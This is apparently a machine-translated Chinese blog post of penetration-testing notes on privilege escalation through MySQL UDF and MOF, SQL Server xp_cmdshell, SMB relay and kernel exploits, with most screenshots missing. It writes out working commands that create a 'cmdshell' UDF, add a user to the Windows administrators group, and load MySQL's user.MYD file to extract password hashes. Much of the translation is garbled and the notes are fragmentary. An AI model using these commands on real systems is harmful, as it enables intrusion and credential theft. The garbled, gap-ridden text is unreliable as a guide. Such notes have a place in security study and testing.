当前位置:网站首页>Penetration test - right raising topic
Penetration test - right raising topic
2022-06-23 14:07:00 【amingMM】
Penetration test - Topic of raising rights
- 05 Power raising and Intranet penetration
- Mysql Of users are not File Authority - Low authority to get root password
- Windows Smb replay / relay utilize
- CTF- Difficult kernel power raising
- windows EXP Raise the right
- EXP Spillover claims ( You can't use techniques / Accessibility rights )
- Deal with virualbox The problem of connecting with the physical machine
- Create an environment
- mysql5.1------Linux Raise the right
- #1 Simple deep strike
- Chapter one Right of first sight
05 Power raising and Intranet penetration
The third chapter Database delivery
Section 1 SQL Server Database vulnerability exploitation and right raising













dbo jurisdiction Backup database Can not be Carry out orders




SESHELL
mdb The registry operation Carry out orders






In the second quarter MySQL Database vulnerability and right raising


mysql root Under authority Raise the right
Installation problems
Default in System administrator Next install
To serve start-up














Backup database Just There will be file




mof timing Fine Raise the right


long-range Carry out orders rebound shell Come back *( attack Listening port )







UDF To enforce system orders
● Linux UDF
The administrator who obtains the target through the database shell, From low authority to high authority
sleep(),sum(),ascii()
User defined functions
Write your own convenient functions , It has 3 A return value ,
Namely STRING Character ,INTEGER integer ,REAL real
- master mysql Database account , From having to mysql Of insert and delete jurisdiction , To create and discard functions . Have can udf.dll Permission to write to the corresponding directory
The version is greater than 5.1 Of udf.dll Put it in mysql Installation directory libplugin Folder to create custom functions . The directory does not exist by default. You need to create it yourself , Create... In the installation directory libplugin Folder , And then udf.dll Export to this directory .
- windows Premise of raising right
mysql The version is greater than 5.1,
udf.dll The file must be placed in mysql Installation directory lib plugin Under the folder
mysql Version less than 5.1,
udf.dll The file in windows server 2003 Drop on c:windows system32 Catalog ,
stay windows server - - 2000 Place under c:winnt system32 Catalog .

First 、 Check it out. MySQL yes 32 It's still 64 Bit , There are several ways to view this :
mysql -V
mysql --version
Get into MySQL In the database , perform :
show variables like '%datadir%';
-- C:\ProgramData\MySQL\MySQL Server 5.7\Data\
show variables like '%version_%';


create function cmdshell returns string soname 'udf.dll'
select cmdshell('net user iis_user [email protected]#abcABC /add');
select cmdshell('net localgroup administrators iis_user /add');
select cmdshell('regedit /s d:web3389.reg');
drop function cmdshell;
select cmdshell('netstat -an');
















requirement root jurisdiction
mof yes win System comes with Loophole
Mysql Of users are not File Authority - Low authority to get root password
Mysql Exploit ( Ultra vires , Get... From low authority root password )
Unable to get Load_file Reading documents
Or by into dumpfile perhaps into outfile To write a document
adopt load data infile You can read local files to the database , In this way, we can pass this under low permissions bug Read the file on the server
Read mysql Database files ,mysql Library user The table contains all users' hash

LOAD DATA LOCAL INFILE 'C:/boot.ini' INTO TABLE test FIELDS TERMINATED BY '';
LOAD DATA LOCAL INFILE 'C:/wamp/bin/mysql/mysql5.6.12/data/mysql/user.MYD' INTO TABLE test2 fields terminated by '';
select * from test2;

use winhex Open it up user.myd file 
By 00 The character is truncated , As a result, the following items are not included in the database .
Let's try to get around this limitation .
After several attempts to find , Add after LINES TERMINATED BY ‘’ that will do , In this way, the truncation symbol is treated as a separator , Complete statement
LOAD DATA LOCAL INFILE 'C:/wamp/bin/mysql/mysql5.6.12/data/mysql/user2.MYD' INTO TABLE test2 fields terminated by '' LINES TERMINATED BY '';

Windows Smb replay / relay utilize


























CTF- Difficult kernel power raising









































windows EXP Raise the right
EXP Spillover claims ( You can't use techniques / Accessibility rights )
exploit —>windows Overflow utilization
shell Connect
Virtual connection rights
- Chinese kitchen knife
- Ant sword
- Malaysia shell Carry out orders dir
In a word, the Trojan horse raises the right


Deal with virualbox The problem of connecting with the physical machine

Create an environment





- View permissions whoami systeminfo ( Patch )
- Increase authority net user xxx xxx /add net localgroup
- Check the port tasklist /svc netstat -ano



- Make do with Let's go C Disk file


- Check out the patches

- Patches For the moment
- Do as one pleases



- Unintentionally Found a Tools
mysql5.1------Linux Raise the right
#1 Simple deep strike

Scan weak passwords through assets FTP Mysql Redis ssh RPC



because root jurisdiction Free from low and high permissions UDP Raise the right
i spring and autumn \05 Power raising and Intranet penetration \
Chapter one Right of first sight
Section 1 Overview of right raising







Basic commands
Check user login query user






Dirty cow loopholes
Third party software Raise the right - pr Raise the right
Database delivery
sqlserver SA xp cmd shell
mysql udf Plug in authorization Affirm the right MOF Replace file Raise the right
dll file load
ftp typewriting vnc To configure
typewriting Replace exe restart Automatic loading
- webshell It's based on middleware When installing Authority Based on

In the second quarter Based on password cracking to lift the right


Hash get cracking


LAN arp 、 dns hijacked Sniffing
边栏推荐
- Ks003 mall system based on JSP and Servlet
- Shutter clip clipping component
- 使用OpenVINOTM预处理API进一步提升YOLOv5推理性能
- Tinder security cooperates with Intel vPro platform to build a new pattern of software and hardware collaborative security
- 前AMD芯片架构师吐槽,取消 K12 处理器项目是因为 AMD 怂了!
- How to solve the task cache compilation problem caused by gradle build cache
- [deeply understand tcapulusdb technology] tmonitor background one click installation
- Quarkus+saas multi tenant dynamic data source switching is simple and perfect
- Intel ® extensions for pytorch* accelerate pytorch
- Intelligent digital signage solution
猜你喜欢

Linear regression analysis of parent-child height data set
![[deeply understand tcapulusdb technology] table management of document acceptance](/img/59/e435623ab9cc7d2aa164c2f08e135f.png)
[deeply understand tcapulusdb technology] table management of document acceptance
![[deeply understand tcapulusdb technology] tmonitor system upgrade](/img/22/517556a0cab666eba1434d4c2be2ac.png)
[deeply understand tcapulusdb technology] tmonitor system upgrade

Drop down menu scenario of wechat applet

MIT 6.031 Reading5 : Version Control学习心得

渗透测试-提权专题

Multi-Camera Detection of Social Distancing Reference Implementation

Stick to five things to get you out of your confusion!

Common usage of OS (picture example)

栈和队列的基本使用
随机推荐
Loss, duplication and backlog of message queues
C语言的基本数据类型及其打印输出
When pandas met SQL, a powerful tool library was born
Linear regression analysis of parent-child height data set
Best practices for auto plug-ins and automatic batch processing in openvinotm 2022.1
What are the conditions for a mature knowledge management?
KS007基于JSP实现人个人博客系统
Shutter clip clipping component
实战 | 如何制作一个SLAM轨迹真值获取装置?
Xmake v2.6.8 release, compilation cache improvement
How do I turn on / off the timestamp when debugging the chrome console?
渗透测试-提权专题
. Net how to use log framework NLog
Vulnhub target os-hacknos-1
Scope of groovy
中断和轮询
Flex attribute of wechat applet
Basic use of stacks and queues
White paper - Intel and Ashling, a well-known risc-v tool provider, strive to expand multi platform risc-v support
OpenVINOTM 2022.1中AUTO插件和自动批处理的最佳实践